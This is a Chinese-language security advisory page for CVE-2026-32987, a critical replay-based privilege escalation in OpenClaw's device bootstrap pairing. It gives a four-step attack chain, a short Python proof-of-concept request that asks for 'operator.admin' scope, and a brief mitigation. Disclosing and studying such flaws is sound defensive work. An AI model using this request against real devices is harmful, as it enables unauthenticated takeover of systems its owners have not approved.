IPBUF安全漏洞报告
English
CVE-2026-32987 CVSS 9.8 严重

CVE-2026-32987 OpenClaw权限提升漏洞

披露日期: 2026-03-29

漏洞信息

漏洞编号
CVE-2026-32987
漏洞类型
权限提升
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限提升重放攻击OpenClaw逻辑漏洞严重漏洞

漏洞概述

OpenClaw在2026.3.13之前的版本中存在严重安全漏洞。该漏洞位于设备配对验证模块,允许攻击者重放bootstrap设置代码。攻击者可在管理员批准配对前多次验证有效代码,进而提升待处理配对的权限范围至operator.admin。此漏洞无需用户交互且无需认证即可被利用,导致攻击者获得系统最高权限,严重威胁系统的机密性、完整性和可用性。

技术细节

该漏洞源于OpenClaw在src/infra/device-bootstrap.ts中实现的设备引导逻辑存在缺陷。系统在设备配对验证过程中使用了bootstrap code作为凭证,但未实施有效的防重放机制。攻击者可以利用这一缺陷,截获或获取一个有效的bootstrap code,并在配对请求处于待批准状态的窗口期内,反复向服务器发送该代码进行验证。由于系统未能识别重复的验证请求,攻击者可以借此篡改配对请求的scope参数,将原始权限提升为operator.admin。这种逻辑缺陷使得未经身份验证的远程攻击者能够绕过正常的授权流程,轻易获取系统的完全控制权。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描网络寻找处于配对模式或暴露设备引导接口的OpenClaw设备。
STEP 2
步骤2:获取凭证
攻击者通过监听网络流量、社会工程学或其他方式获取一个有效的bootstrap设置代码。
STEP 3
步骤3:重放攻击
攻击者构造包含该bootstrap code的HTTP请求,并在管理员批准配对之前,多次向目标服务器发送验证请求。
STEP 4
步骤4:权限提升
利用重放漏洞,攻击者修改请求参数将权限提升至operator.admin,成功获取系统最高控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-openclaw-device/api/device-bootstrap/verify" # The valid bootstrap code obtained or intercepted bootstrap_code = "VALID-CODE-123456" # Headers to simulate a legitimate pairing request headers = { "Content-Type": "application/json", "User-Agent": "OpenClaw-Pairing-Agent/1.0" } # Payload attempting to escalate privileges by replaying the code payload = { "code": bootstrap_code, "scope": "operator.admin" # Attempting to elevate privileges } try: # Sending the request (Replay Attack) response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Potentially vulnerable! Code accepted.") print("[+] Response:", response.text) else: print("[-] Request failed or denied.") except Exception as e: print(f"Error: {e}")

影响范围

OpenClaw < 2026.3.13

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用设备的远程配对功能,并检查系统日志中是否存在异常的多次验证记录,以排查是否已被攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表